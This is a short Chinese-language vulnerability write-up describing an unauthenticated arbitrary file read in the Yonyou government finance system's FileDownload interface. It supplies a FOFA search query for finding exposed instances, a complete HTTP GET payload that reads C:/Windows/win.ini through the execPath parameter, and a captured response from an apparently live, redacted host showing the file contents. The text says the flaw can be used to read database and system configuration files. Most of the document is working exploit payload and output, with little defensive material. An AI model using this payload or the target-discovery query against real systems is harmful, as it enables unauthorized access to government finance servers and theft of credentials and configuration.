

Y28-1用友-政务财务系统-任意文件读取

漏洞描述:

用友政务财务系统 FileDownload 接口存在任意文件读取漏洞, 未经身份攻击者可通过该漏洞读取系统重要文件 (如数据库配置文件、系统配置文件)、数据库配置文件等等, 导致网站处于极度不安全状态

网站图片:



用友政务版权所有

网络测绘:

fofa语法:

app="用友-政务财务系统" || body="/dfportal/getYearRgcode.do"

漏洞复现:

payload:

```
GET /bg/attach/FileDownload?execPath=C://Windows/win.ini HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
```

效果图:

Request

< > 数据包扫描 美化 热加载 构造请求

1 GET /bg/attach/FileDownload?execPath=C://Windows/win.ini HTTP/1.1

2 Host: [redacted]:87

3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36

4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

5 Accept-Encoding: gzip, deflate

6 Accept-Language: zh-CN,zh;q=0.9

7 Connection: close

Responses 92bytes / 53ms

1 HTTP/1.1 200 OK

2 Server: nginx/1.16.0

3 Date: Wed, 24 Apr 2024 05:45:17 GMT

4 Connection: close

5 content-disposition: attachment;filename=C:

6 Vary: Accept-Encoding, User-Agent

7 Content-Length: 92

8

9 ; for 16-bit app support

10 [fonts]

11 [extensions]

12 [mci_extensions]

13 [files]

14 [Mail]

15 MDT-1